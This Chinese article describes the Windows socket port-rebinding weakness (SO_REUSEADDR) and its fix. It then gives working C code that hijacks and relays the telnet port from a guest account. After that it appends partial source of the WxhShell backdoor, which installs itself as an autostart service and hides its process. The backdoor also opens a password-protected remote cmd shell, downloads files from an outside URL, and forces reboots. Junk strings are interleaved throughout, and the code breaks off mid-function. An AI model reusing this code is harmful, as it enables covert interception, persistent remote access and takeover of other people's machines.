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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <3B^5p\/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |z=`Ur@) B~KxUp saddr.sin_family = AF_INET; ?/3wO/7[ W|>jj$/o saddr.sin_addr.s_addr = htonl(INADDR_ANY); QLO;D)fC c{/R?< bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eW(pP>@k, 5 qfvHQ ~M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 imYfRi=$ H<_Tn$<zH. 这意味着什么?意味着可以进行如下的攻击: 3s!6rT_=)d ^~[7])}g6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v zg^tJ Hloe7+5UD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^}-l["u` cRnDAn#42 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A{zqr^/h Vpnk>GWD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ,_kw}_n= PF`uwx@zH 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gS+X% Df4O~j$U"s 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &IUA[{o~e ~][~aEat;V 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 03fOm /(BS<A #include ]\xt[/?{ #include OCx'cSs-= #include ]XEyG7D #include ; CCg]hX DWORD WINAPI ClientThread(LPVOID lpParam); FLMiW]?x int main() L[2qCxB'^ { z[c8W@OJ WORD wVersionRequested; ta)gOc)r
R DWORD ret; 5?>4I"ne WSADATA wsaData; KY BOOL val; k_V+;&:% SOCKADDR_IN saddr; D",L. SOCKADDR_IN scaddr; ]2@(^x'= int err; >`x|E-X" SOCKET s; qIZ+%ZOu SOCKET sc; pWRdI_ int caddsize; 0vqH-)} HANDLE mt; y$R8J:5f DWORD tid; 9A.NM+u7 wVersionRequested = MAKEWORD( 2, 2 );
]20:8l' err = WSAStartup( wVersionRequested, &wsaData ); M
+OVqTsFU if ( err != 0 ) { uQ W)pD{_ printf("error!WSAStartup failed!\n"); .:j{d}p} return -1; q0+N#$g# } Bo"9;F saddr.sin_family = AF_INET; 3%)cUkD `VwG]2 I //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :g|.x F-3=eKZ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *1dZs~_ saddr.sin_port = htons(23); W8 g13oAu" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }'P|A { uBww printf("error!socket failed!\n"); 4~Cf_`X}] return -1; h2zSOY{su } LG,? ,%_s val = TRUE; |-=-/u1 //SO_REUSEADDR选项就是可以实现端口重绑定的 ,h^6y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QIkFX.^ { s1_Y~<yX printf("error!setsockopt failed!\n"); $JOz7j( return -1; ,5c7jZ5H } ZvF#J_%gE5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .@&FJYkLYi //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Wmd@%K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nr]=O`Mvh %_E5B6xi{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 66?`7j X { i<Ms2^ ret=GetLastError(); !hQ-i3?qm printf("error!bind failed!\n"); GhfhR^P return -1; wetu.aMp } !b`fykC listen(s,2); Zl3l=x h while(1) la{?&75] { = cxO@Fu caddsize = sizeof(scaddr); U[pHT _U //接受连接请求 2*D2jw sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _W(xO
|,M if(sc!=INVALID_SOCKET) R WY>`.su { Bdh*[S\u@E mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -4QZ/ * if(mt==NULL) LkJq Bg { 85#
3|5n printf("Thread Creat Failed!\n"); -`q!mdA2 break; 2tK~]0x } l^R:W#*+U } &;ddnxFI
CloseHandle(mt); zKP[]S- } |iJz[% closesocket(s); .K~V DUu WSACleanup(); i%133in return 0; DH.` } \)28,` DWORD WINAPI ClientThread(LPVOID lpParam)
auN8M. { yam'LF SOCKET ss = (SOCKET)lpParam; DH\Ox>b= SOCKET sc; 9'p| [?]v unsigned char buf[4096]; Q3ZGN1aX< SOCKADDR_IN saddr; Z6gwAvf< long num; 8i"CU:( DWORD val; D?E
VzG DWORD ret; pu MVvo //如果是隐藏端口应用的话,可以在此处加一些判断 G--vwvL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 e[x,@P` saddr.sin_family = AF_INET; %GjG.11V,_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Aa1#Ew<r saddr.sin_port = htons(23); 9Y2u/|!.3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;
]%fFcy { 9*iVv)jd printf("error!socket failed!\n"); 1N _"Mm{ return -1;
[uqr } }%wP^6G*x\ val = 100; E7h@c>IK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7V=deYt_p { tz65Tn_M ret = GetLastError(); #p=+RTZ< return -1; %+/v")8+? } * g+v*q X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w:B&8I(n}w { dh]Hf,OLF ret = GetLastError(); =KR^0<2r return -1; GX19GI@k } ~C
3Y/} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j*8Ze!^ { %zc.b printf("error!socket connect failed!\n"); G{.=27 closesocket(sc); 7oLl RU closesocket(ss); <2j$P Y9 return -1; KX x+J}n } 2FL_!;p;2E while(1) ,^4"e
( { b?=r%D->w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Sy.%>$ z //如果是嗅探内容的话,可以再此处进行内容分析和记录 )+G0m,n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K&._fG num = recv(ss,buf,4096,0); bg3kGt0 if(num>0) c5f57Z send(sc,buf,num,0); hTAc}'^$ else if(num==0) $igMk'%Nmb break; ZK{1z| num = recv(sc,buf,4096,0); jY9tq[~/ if(num>0) unYPvrd send(ss,buf,num,0); x?6^EB|@ else if(num==0) ([JFX@ break; 3mE8tTA$R } s!09cS closesocket(ss); 2hntQ1[ closesocket(sc); tF*Sg{:bCa return 0 ; #@Tm5z } MAqETjB 1jSmTI d jz'%(6#'gW ========================================================== eG1A7n'6W YedF% 下边附上一个代码,,WXhSHELL LfnQcI$kO /;TD n>lq ========================================================== %LdBO1D0 VKXB)-'L #include "stdafx.h" "
d~M\Az r+]a #include <stdio.h> Qc9[/4R> #include <string.h> mV7_O// #include <windows.h> DS|x*w'I #include <winsock2.h> 7}=MVp] )S #include <winsvc.h> /$8& r #include <urlmon.h> UQ e1rf GYT0zMMf #pragma comment (lib, "Ws2_32.lib") y#ON=8l #pragma comment (lib, "urlmon.lib") _n*gj- '+|uv7|+v #define MAX_USER 100 // 最大客户端连接数 <+ <o
X"I #define BUF_SOCK 200 // sock buffer @ bvWqMa #define KEY_BUFF 255 // 输入 buffer {dl@#Tu EA:_PBZ #define REBOOT 0 // 重启 s0Y7`uD^ #define SHUTDOWN 1 // 关机 !vr
A\d <p_2&&? #define DEF_PORT 5000 // 监听端口 iee`Yg!EOH 0,LUi*10 #define REG_LEN 16 // 注册表键长度 8r.MODZG/ #define SVC_LEN 80 // NT服务名长度 F
j"]C.6B. $iy(+} // 从dll定义API 6>d3* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [di&N!Ao typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]w8h#p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S@L%X<Vm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IgF#f%|Q >vfLlYx // wxhshell配置信息 )/v`k>E struct WSCFG { b!;WF
int ws_port; // 监听端口 4=ha$3h$ char ws_passstr[REG_LEN]; // 口令 Z!?T&: int ws_autoins; // 安装标记, 1=yes 0=no j~ qm5} char ws_regname[REG_LEN]; // 注册表键名 Mb%[Qp60 char ws_svcname[REG_LEN]; // 服务名 w^$$'5= char ws_svcdisp[SVC_LEN]; // 服务显示名 dfeN_0`- char ws_svcdesc[SVC_LEN]; // 服务描述信息 B<!wh char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1N8YD .3 int ws_downexe; // 下载执行标记, 1=yes 0=no BGT`) WP char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" SkXx:@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i;+<5_ i\L7z)u }; ^\PNjj*C i `? f sU // default Wxhshell configuration TsRbIq[
struct WSCFG wscfg={DEF_PORT, w4&-9[@Y "xuhuanlingzhe", ,S3uY6, 1, f2$<4Hhmm "Wxhshell", M<)Vtn "Wxhshell", IC. R4- "WxhShell Service", 5sMyH[5zY "Wrsky Windows CmdShell Service", u7u1lx>S "Please Input Your Password: ", L:_pJP 1, H,1Iz@W1 " http://www.wrsky.com/wxhshell.exe", #fe zUU "Wxhshell.exe" 52Q~` t7F }; Fo|
rRI2 dC}4Er // 消息定义模块 w>#.id[k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]O68~+6 char *msg_ws_prompt="\n\r? for help\n\r#>"; 62xAS#\K> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; nqujT8 char *msg_ws_ext="\n\rExit."; 3rv~r0 char *msg_ws_end="\n\rQuit."; 3n TpL# char *msg_ws_boot="\n\rReboot..."; =hKu85 char *msg_ws_poff="\n\rShutdown..."; g>Kh? ( char *msg_ws_down="\n\rSave to "; cNuBWLG cA
B^]j char *msg_ws_err="\n\rErr!"; ZP7wS char *msg_ws_ok="\n\rOK!"; `l}r&z(8 (<5&<JC{ char ExeFile[MAX_PATH]; 0bMbM^xV6 int nUser = 0; T+<OlXpL HANDLE handles[MAX_USER]; kv3V| int OsIsNt; &uv7`VT >:U{o!N`#_ SERVICE_STATUS serviceStatus; Nxt z1 SERVICE_STATUS_HANDLE hServiceStatusHandle; WG*S:_? Q92hI" // 函数声明 =Cr
F(wVO" int Install(void); wo!;Bxo
N int Uninstall(void); yNmzRH u int DownloadFile(char *sURL, SOCKET wsh); Q\v^3u2;m` int Boot(int flag); k'Z$# void HideProc(void); g`zC 0~D2 int GetOsVer(void); qgLj^{ int Wxhshell(SOCKET wsl); *6*/kV?F void TalkWithClient(void *cs); p[gq^5WuC int CmdShell(SOCKET sock); Ja6PX P]' int StartFromService(void); qeZ*!H6- int StartWxhshell(LPSTR lpCmdLine); u'EzYJ7 ~bk+JK- > VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W(UrG]J*l VOID WINAPI NTServiceHandler( DWORD fdwControl ); #_OrS/H lw 9rf4RF // 数据结构和表定义 cY\"{o"C SERVICE_TABLE_ENTRY DispatchTable[] = i/WiSwh: { 8Ow0A {wscfg.ws_svcname, NTServiceMain}, XB-l[4? {NULL, NULL} _:,U$W }; H;eOrX{GT f0lK,U@P // 自我安装 ns[Q %_ int Install(void) W_N!f=HW { 4wQ>HrS)( char svExeFile[MAX_PATH]; Gj([S17\0: HKEY key; CpF&Vy K strcpy(svExeFile,ExeFile); |G]M"3^ Nl `8Kcv // 如果是win9x系统,修改注册表设为自启动 E; Z1HF
R if(!OsIsNt) { ['n;e:* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $3MYr5
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4
U`5=BI RegCloseKey(key); 6*H F`@( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,=kQJ| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kzd)Z
fnD0 RegCloseKey(key); Fs EPM"&?h return 0; A `n:q;my } gcfEJN4' } (t)a u } K2R[u#Q else { {n>W8sN< pI|H9 // 如果是NT以上系统,安装为系统服务 BWN[>H %S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S7
Tem:/ if (schSCManager!=0) 2r=A' { v'zf*]9 SC_HANDLE schService = CreateService !EQMTF=( ( v(tr:[V schSCManager, h
.$3jNU wscfg.ws_svcname, C6C7*ks wscfg.ws_svcdisp, 9>"To SERVICE_ALL_ACCESS, kdrya SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M%8: SERVICE_AUTO_START, h0fbc;l SERVICE_ERROR_NORMAL, UF00K1dbz svExeFile, ,HQaS9vBQ NULL, 0vRug|}k#% NULL, aGz<Yip NULL, qrmJJSJ NULL, b 64~Y|8 NULL -Fj:^q:@u ); = ,=t Sp if (schService!=0) 7BhRt8FSD+ { h[O!kwE CloseServiceHandle(schService); <2a7>\74E0 CloseServiceHandle(schSCManager); Vi~F
Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y"&c . strcat(svExeFile,wscfg.ws_svcname); CL$mK5u if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tCdgtZm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :8~*NSEFd RegCloseKey(key); \;>idbV return 0; &v^LxLt+s } E}$K&<J'- } /#M|V6n CloseServiceHandle(schSCManager); [=Yfdh
M8S } HEjrat;5 } Wh)QCp0|n ? h$>7| return 1; 7QlA/iKqK } Rz!E=1Y$ F*_mHYa; // 自我卸载 n2+eC9I int Uninstall(void) \5%T'S@5 { {]}}rx'|P HKEY key; l%^'K%'b :hp=>^$Y if(!OsIsNt) { /L1qdkG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .hCOi<wB RegDeleteValue(key,wscfg.ws_regname); F:CqB| RegCloseKey(key); In)#`E` g. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &OiJJl[9 RegDeleteValue(key,wscfg.ws_regname); gn?
~y` RegCloseKey(key); UEJX0= return 0; @])qw_ } 0FHX } ba 3_55] } ;!k1LfN else { *p.P/w@1 yp=2nU"o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MOFIR
wVZ+ if (schSCManager!=0) ^6~CA { #GYCU! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r)dT,X[}F if (schService!=0) wK[xLf { dOFxzk,g&R if(DeleteService(schService)!=0) { H5Rn.n( | CloseServiceHandle(schService); CW Y'q CloseServiceHandle(schSCManager); tF)aNtX4^ return 0; ~mtL\!vaM } xcz1(R CloseServiceHandle(schService); a<[@p } 1@H3!V4 CloseServiceHandle(schSCManager); MdWT[ } :CN,I!: } hIw<gb4J% qPpC )6-Q return 1; e/WR\B'1 } Xv'M\T}6C+ bf
`4GD( // 从指定url下载文件 _?3bBBy int DownloadFile(char *sURL, SOCKET wsh) bgd1j,PWbW { aT#R#7<Eg HRESULT hr; 'Z-jj2t} char seps[]= "/"; G1Cn[F;e char *token; S)GWr"m- char *file; f4zd(J char myURL[MAX_PATH]; =@m|g ) char myFILE[MAX_PATH]; :<s)QD +EcN[-~ strcpy(myURL,sURL); Od'!v & token=strtok(myURL,seps); ?0+D1w while(token!=NULL) er}/~@JJ { Pe/cwKCI file=token; ]7ROCJ; token=strtok(NULL,seps); u|\Lb2Kb: } _.Y?BAQ DL2gui3 GetCurrentDirectory(MAX_PATH,myFILE); j]6j!.1 strcat(myFILE, "\\"); ocy fU=}X strcat(myFILE, file); E'e#axF; send(wsh,myFILE,strlen(myFILE),0); Hq^sU% send(wsh,"...",3,0); >U9* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jd=k[Yqr if(hr==S_OK) @3{'!#/ return 0; g!<@6\RB else .8CR
\- return 1; LZyUlz >(u =/pp=: } A%u-6" g^1M]1.f // 系统电源模块 j ij:}.d6 int Boot(int flag) =_8 { KLs%{'[7: HANDLE hToken; "-vm=d~\ TOKEN_PRIVILEGES tkp; }}Eko7'^ J(S.iTD if(OsIsNt) { CJ&0<Z}{m OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l.lXto.6) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gmWRw{nS+ tkp.PrivilegeCount = 1; )2z
(l-$. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VVvV]rU~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :M1S*"&: if(flag==REBOOT) { ?DkMzR)u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eQno]$-\ return 0; ~d7!)c`z } [X=-x=S, else { ]E88zWDY` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ooByGQ90V: return 0; cI'&gT5 } <r,l } d)(61 else { :Cw|BX@??U if(flag==REBOOT) { S[{#AX=0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %K
/=7 return 0; {Os$Uui37\ } qp_kILo~ else { IC/'<%k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O(h4;'/E return 0; 3*3WO,9
} Nj qUUkc } y:D|U!o2V uE-~7Q(@ return 1; J-ACV(z=q } Tl %#N" :p(3Ap2TY // win9x进程隐藏模块 _UYt void HideProc(void) |SZRO,7x { 3.?PdK&C Ej
ip%m HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4\Y2{Z>P? if ( hKernel != NULL ) b|wCR% { _NA0$bGN9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GrW+P[j9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .#6Dad=S* FreeLibrary(hKernel); <u*~RYA2 }
s6rdQI] M/ 0!B_(R return; P8Fq %k } "ZNiTND P(d4~hS // 获取操作系统版本 \D<rT)Tl int GetOsVer(void) $VhUZGuG> { }?^5\ot u OSVERSIONINFO winfo; R>To
L winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?7'uo$ GetVersionEx(&winfo); d90B15]gv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M&~3fRb4 return 1; Z[yQKy else pN&5vu30 return 0; &p^S6h } N't*e Ci kz(%8qi8& // 客户端句柄模块 S`BLwnU`# int Wxhshell(SOCKET wsl) kV(}45i]s { 9l@VxX68M SOCKET wsh; `)&-;CMY struct sockaddr_in client; ddmTMfH DWORD myID; z"u4t.KpL Q_euNoA0 while(nUser<MAX_USER) vAbMU { =GTltFqI1 int nSize=sizeof(client); GNA:|x wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :kfHILi if(wsh==INVALID_SOCKET) return 1; gXZ.je)NM d%\{, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wLPL9 if(handles[nUser]==0) [iwn"e closesocket(wsh); fKf5i@CvB@ else M])Y|}wv8 nUser++; ((\s4- } 81fpeoNO WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~(aQ!!H6 suN{)" return 0; =LL5E}xP } &7!&]kA+ Pk7Yq:avL // 关闭 socket O7I:Y85i#O void CloseIt(SOCKET wsh) j8$*$| { $U<so{xn% closesocket(wsh); b-'41d}Hn nUser--; ns9iTU) ExitThread(0); znw\Dn?g } @Nn9-#iW Pdmfn8I]% // 客户端请求句柄 6&S;Nrg9 void TalkWithClient(void *cs) (n05MwKu\ { 9w^1/t&=04 M2(+}gv;7p SOCKET wsh=(SOCKET)cs; \]e"#"v}}_ char pwd[SVC_LEN]; 2K'3ry)[y char cmd[KEY_BUFF]; [h+MA>%! char chr[1]; bX:Y5o49
int i,j; lOt3^` %g{m12 while (nUser < MAX_USER) { o"->RC !s06uh if(wscfg.ws_passstr) { B?'`\q)UL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nPj%EKdY4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Gzc3 //ZeroMemory(pwd,KEY_BUFF); hn#i,XnY i=0; ya0L8`q while(i<SVC_LEN) { !jL|HwlA UB }n= // 设置超时 v=E V5#A fd_set FdRead;
0'wB':v struct timeval TimeOut; cu5Yvp FD_ZERO(&FdRead); "jH=O(37 FD_SET(wsh,&FdRead); OW-[#r
TimeOut.tv_sec=8; abh='5H|^| TimeOut.tv_usec=0; .p NWd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fd*)1FQKT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <[ />M Z|K+{{C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5:6as^i:b pwd =chr[0]; v*SSc5gFG if(chr[0]==0xd || chr[0]==0xa) { AA"?2dF pwd=0; obKWnet break; 9bRlSb@ } U:ggZ`. i++; 0f}zm8p7. } NBuibL 1{i)7:Y // 如果是非法用户,关闭 socket zV_U/]y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'VcZ_m: } [,Q(~Qb jFY6}WY)}7 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D::$YR
~R send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RO+B/)~0< Y u\<
while(1) { w?)v#]<- -B-?z?+(O ZeroMemory(cmd,KEY_BUFF); YjN2 ,Xi !
/;@kXN // 自动支持客户端 telnet标准 Fk@A;22N j=0; bmgK6OyVR while(j<KEY_BUFF) { pXf!8X&y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x%ju(B> cmd[j]=chr[0]; =QFnab?N if(chr[0]==0xa || chr[0]==0xd) { p\T9q cmd[j]=0; 2A7g}V break; qq"&Bc> } 6FNs4|(d j++; ++d(}^C; } 2?9 FFlX 0g}+%5]yg // 下载文件 64;F g/t if(strstr(cmd,"http://")) { L1A0->t send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?muI8b if(DownloadFile(cmd,wsh)) MG)wVS<d_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~V&4<=r` else gpW3zDJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JRt^YX } v- M3/* else { b fy `UZr 6X2>zUHR switch(cmd[0]) { gD E',)3Q, _Mq0QQ42 // 帮助 2c`m8EaJ case '?': { ?tS=rqc8oW send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NBHS
break; &$F4/2|b% } `##qf@M
// 安装 ~nJcHJ1nb4 case 'i': { SQ!wq if(Install()) ^Y z.,!B[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[l9`Cn&A else 5ws|4V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4+%;eY.A break; 8}9|hT;
} #-$\f(+< // 卸载 d\Cx(Lb[ case 'r': { :U)>um34e if(Uninstall()) [5K&J-W send(wsh,msg_ws_err,strlen(msg_ws_err),0); $MD|YW5 else g&9E>w T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;/+VHZP; break; +]Ca_` } Y2709LWmP // 显示 wxhshell 所在路径 i
bAZ*I case 'p': { Ncr38~;w char svExeFile[MAX_PATH]; ^% y<7>% strcpy(svExeFile,"\n\r"); #eSVFD5ZU strcat(svExeFile,ExeFile); q>:>f+4 send(wsh,svExeFile,strlen(svExeFile),0); 7 j$ |fS break; E +\?|q !T } > w:+nG/r // 重启 fDyFkhc case 'b': { bl@0+NiM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 59K%bz5t if(Boot(REBOOT)) 0"q_c-_Bg send(wsh,msg_ws_err,strlen(msg_ws_err),0); %zj;~W;qPH else { H.`>t closesocket(wsh); ]-h$CJSY ExitThread(0); fFP>$ } T \%{zz_( break; s`"o-w\$> } [DrG;k ? // 关机 Ei!t#'*D< case 'd': { vzD3_
?D send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q`mw2$zv if(Boot(SHUTDOWN)) 3`sM/BoA send(wsh,msg_ws_err,strlen(msg_ws_err),0); F02S(WWo; else { b]S4\BBT closesocket(wsh); .b]
32Ww ExitThread(0); W+k`^A|@ } PZ5BtDm break; 7tWt3 } P<P4*cOV // 获取shell 9F+i+(\,b case 's': { B.w ihJVDg CmdShell(wsh); V_Z ~$ closesocket(wsh); MgJiJ0y ExitThread(0); Mda~@)7$ break; tY$
.(2Ua } "0x"Xw#I // 退出 9_Tk8L# case 'x': { 1Xy{&Ut\ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v%RcwVt| CloseIt(wsh); A*l(0`aWq break; v_Om3i9$E } +zodkB~) // 离开 s@C KZ` case 'q': { 9L3#aE]C send(wsh,msg_ws_end,strlen(msg_ws_end),0); i8R.Wl$l closesocket(wsh); jU')8m[ WSACleanup(); Dw}8ci' exit(1); :$Lu
V5 break; _r!''@B } o6f^DG3* } w)I!q&`Y } =6j4_+5mnH LL,&!KW[S // 提示信息 s8w7/*<d if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -:9E+b } @ yJ/!9?^ } GCx1lm #PYTFB% return; G<.p".o4 } ow :}NI {XYv&K // shell模块句柄 R_4]6{Rm int CmdShell(SOCKET sock) kIS&! V { S0. STARTUPINFO si; 4ujw/`:/m ZeroMemory(&si,sizeof(si)); hDc,#~! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C~o6]'+F_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y- S]\tu PROCESS_INFORMATION ProcessInfo; ;)ffGg> char cmdline[]="cmd"; K{[yS B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dRg1I=|{_ return 0; 51.! S } rAqg<fR* (1e;7sNG@ // 自身启动模式 S-[]z* int StartFromService(void) w
<zO { x7$U typedef struct $q#|B3N% { dtJaQ` DWORD ExitStatus; +gb2>fei& DWORD PebBaseAddress;
/|] %0B DWORD AffinityMask; :CEhc7gU DWORD BasePriority; >W2Z]V
ULONG UniqueProcessId; G
hH0-g{- ULONG InheritedFromUniqueProcessId; ]>h2h ?2te } PROCESS_BASIC_INFORMATION; S9X~<!] $^R[t; PROCNTQSIP NtQueryInformationProcess; x9r5 ;5TI ,6rg00wGE static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kM>0>fkjE static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I^ W @DK,ka( HANDLE hProcess; [.tqgU PROCESS_BASIC_INFORMATION pbi; \ ?['pB (mXV5IM HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,2u-<8 if(NULL == hInst ) return 0; & i|x2;
